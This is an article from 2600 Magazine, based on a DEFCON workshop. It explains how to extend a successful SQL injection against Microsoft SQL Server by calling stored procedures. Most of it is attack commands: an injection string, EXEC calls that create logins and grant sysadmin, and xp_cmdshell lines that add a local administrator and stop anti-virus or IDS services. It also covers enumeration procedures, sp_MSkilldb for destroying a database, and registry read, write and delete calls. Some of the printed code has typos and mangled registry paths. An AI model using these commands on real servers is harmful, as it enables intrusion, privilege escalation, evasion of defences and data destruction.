Enhancing SQL Injection With Stored Procedures

by Chuck Easttom

This article is about how to enhance SQL injection by using Stored Procedures in Microsoft SQL Server.

Some undocumented stored procedures are also included.  The material herein was part of my DEFCON 25 Workshop Windows: The Undiscovered Country."

Before we begin, a few caveats.

The first is, obviously these techniques assume you have done a basic SQL injection, and it has been successful.  If the website is not vulnerable to SQL injection, then this won't work.

Secondly, the website has to be using Microsoft SQL Server as its back-end.  However, that is a relatively common occurrence.

Finally, I am presenting information for your edification.  Accessing the resources of a website without permission is a crime - a felony, in fact.  I am not encouraging you to commit crimes.  I am simply trying to educate you on a potential vulnerability in websites with Microsoft SQL Server as a back-end.

Using Stored Procedures

Just about everyone who even claims the title of "hacker" knows how to do a basic SQL injection.

And every single introductory hacking course includes the basics of logging in.

I am sure everyone reading this would recognize:

' or '1' = '1 

If not, then before reading this article, I would suggest you go to YouTube and type "how to do SQL injection."  You will quickly find a multitude of video tutorials.  However, for many, this is about as far as they go.  Or perhaps they learn a few other items such as enumerating other users.  However, if the back-end database is Microsoft SQL Server, then the real power of SQL injection is only realized when you pass calls to stored procedures to the back-end database.

A bit of background on stored procedures.

They are pre-configured SQL statements that are on the database server.  Programmers call the stored procedures to accomplish a variety of functions.  Microsoft SQL Server ships with a host of such stored procedures.  It is also commonplace for database administrators to create their own stored procedures.

Here is what a typical stored procedure looks like on SQL Server:

USE [knight]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
ALTER procedure [sys].[sp_adduser]
  @loginname     sysname,         -- user's login name in syslogins
  @name_in_db    sysname = NULL,  -- user's name to add to current db
  @grpname       sysname = NULL,  -- role to which user should be added.
as

  -- SETUP RUNTIME OPTIONS / DECLARE VARIABLE --
  set nocount on
  declare @ret int

  -- LIMIT TO SQL/NT USERS IN SYSLOGINS (BCKWRD COMPAT ONLY!)
  if not exists (select * from master.dbo.syslogins where loginname = @loginame
    and (isntuser = 1 or isntname = 0))
	and @loginame <> 'guest'
  begin
    raiseerror(15007,-1,-1,@loginame)
	return(1)
  end

Stored Procedure

We will be focusing on those that come with SQL Server, including some that are not documented.  Unfortunately, Microsoft changes things from time to time.  So you may find some of these won't work on a particular version of SQL Server.

Calling a stored procedure is easy.  You just use the word EXEC followed by the procedure name and any arguments that procedure takes.

For example:

EXEC sp_addlogin 'jsmith', 'mypassword' 
EXEC sp_addsrvrolemember 'jsmith', 'sysadmin' 

Of course, some stored procedures require elevated privileges to work.

Don't let that concern you too much.  All too many people set up both their web server and their database server with far more privileges than are required.  And if you are first using SQL injection, then you will be executing stored procedures with the privileges of the web application.

Let us begin with one of my favorites.  There is a stored procedure that will execute a command shell on the target database server.

You just pass it whatever commands you wish to execute.  Here is a really nice one:

EXEC xp_cmdshell 'net user /add jsmith mypassword'
EXEC xp_cmdshell 'net localgroup /add administrators jsmith'

Now this one will require domain admin privileges, but I have seen all too many services put in the domain admin accounts.  So, there is a chance of this working.

But the real issue is you are now only limited by your knowledge of command line.

You only need local admin privileges to start or stop a service:

EXEC xp_cmdshell 'net stop schedule'

The net command can be used to start or stop services.  For example:

net start service
net stop service
net send test

Common services include:

Obvious services to turn off would include the anti-virus, firewall, Database Activity Monitoring (DAM), or host-based IDS.

Undocumented Stored Procedures

Here is the really interesting part.

There are stored procedures that Microsoft does not document.  People discover these and then post them on websites, blogs, or books (or articles in 2600 Magazine!).  Now a warning: since these are undocumented, they can disappear from a version of SQL Server, with no warning.

Let us see two that help you get information about the database server:

Enumerate Databases

EXEC sp_MSforeachdb 'USE ?; PRINT DB_NAME()'

Enumerate All Tables in All Databases

EXEC sp_MSforeachdb 'USE ? SELECT DB_NAME() + ''.'' + OBJECT_NAME(object_Id) FROM sys.tables'

List All Fixed Drives and Free Space

EXEC master..xp_fixeddrives

List a Directory Structure

EXEC master..xp_dirtree 'C:\Program Files\Microsoft SQL Server\MSSQL\'

Clearly, these are quite useful to you once you have gained access to a database server.  You can now learn a lot about the underlying database.

Now let's see two others that can be very interesting:

Find if a File Exists on the Server

sp_MSexists_file 'C:\somedirectory\something\test.exe'

Kill the Database

sp_MSkilldb dbname

The second stored procedure sets database to suspect and let DBCC dbrepair to kill it.

This is a particularly unfriendly thing to do to a database, but would also be very easy to detect.  Even the most obtuse administrator will note that his database is no longer there.

My favorite is working with the Windows Registry.

Anyone who uses Windows, be they an administrator, programmer, forensic investigator, penetration tester, or any other role, would be well served by learning the registry.  It is truly the heart and soul of Windows.

Let's see a few stored procedures for interacting with the registry:

Delete Registry Key

xp_regdeletekey EXECUTE xp_regdeletekey [@rootkey=]'rootkey', [@key=]'key'

Delete Registry Value

xp_regdeletevalue EXECUTE xp_regdeletevalue [@rootkey=]'rootkey', [@key=]'key', [@value_name=]'value_name'

Read Registry Key

xp_regread

For example, to read into the @test variable from the TestValue value from the HKEY_LOCAL_MACHINESoftwareTest folder, run:

DECLARE @test varchar (20)
EXEC master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARETest',
@value_name='TestValue',
@value=@test OUTPUT
SELECT @test

Write Registry Key

xp_regwrite

For example, to write the Test variable to the TestValue value, in the HKEY_LOCAL_MACHINESoftwareTest folder, run:

EXEC master..xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARETest',
@value_name='TestValue',
@type='REG_SZ',
@value='Test'

Now if you can read, write, and delete registry keys, you pretty much have total control of that server.  There is almost nothing you cannot do.

Conclusion

If you are a hacker interested in Microsoft SQL Server back-ends, then learning SQL Server stored procedures is critical.  This includes undocumented stored procedures.

Hopefully, the information in this article has provided you an expanded view of what you can do once you have successfully performed SQL injection.

Return to $2600 Index